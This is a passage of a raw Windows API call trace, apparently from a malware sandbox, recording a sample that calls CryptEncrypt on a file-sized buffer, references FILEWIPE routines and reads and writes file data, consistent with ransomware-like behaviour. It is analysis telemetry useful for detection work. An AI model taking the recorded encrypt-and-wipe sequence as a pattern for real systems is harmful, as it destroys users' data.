wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.294] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.294] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.294] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.294] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.294] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x23db, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x23e0) returned 1 [0024.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.295] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.295] CharLowerBuffW (in: lpsz="byte[9185]", cchLength=0xa | out: lpsz="byte[9185]") returned 0xa [0024.295] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.295] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.295] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.295] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.295] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.295] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4197b20*, pdwDataLen=0xe8f3dfdf68*=0x23db, dwBufLen=0x23e0 | out: pbData=0xe8f4197b20*, pdwDataLen=0xe8f3dfdf68*=0x23e0) returned 1 [0024.295] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.295] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.295] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.295] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.295] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.295] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.295] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.295] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.295] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.295] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.295] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.295] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.295] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.295] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.295] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.295] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.296] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.296] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.296] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.296] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.296] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.296] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.296] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.296] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.296] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.296] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.296] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.296] CryptDestroyKey (hKey=0xe8f4062640) returned 1 [0024.296] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.296] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.297] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.297] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.297] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.297] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.297] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.297] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.297] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.297] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.297] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.297] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.297] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.297] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.297] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.297] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.297] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.297] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.297] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.297] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.297] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.297] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.297] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.297] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.297] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.297] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.297] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.297] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.297] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.297] CryptReleaseContext (hProv=0xe8f406a550, dwFlags=0x0) returned 1 [0024.297] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.297] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.297] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.297] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.298] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.298] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.299] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.299] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.300] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.300] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.300] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.300] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.300] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.300] CharLowerBuffW (in: lpsz="byte[9179]", cchLength=0xa | out: lpsz="byte[9179]") returned 0xa [0024.300] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.300] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.300] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.300] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.300] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.300] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.300] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.300] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.300] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.300] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.300] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.300] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.301] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.301] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.301] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.301] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.301] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.301] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.301] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.301] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.301] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.301] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.301] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.301] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.301] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.301] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.301] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.301] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.301] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.301] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.301] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.301] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.301] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.301] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.301] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.301] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.301] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.301] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.301] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.302] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.302] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.303] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.303] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.303] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.303] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.303] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.303] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.303] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.303] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.303] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.303] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=3156) returned 1 [0024.303] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.303] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.303] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.303] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0xc54, lpOverlapped=0x0) returned 1 [0024.304] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.304] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xc54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.304] 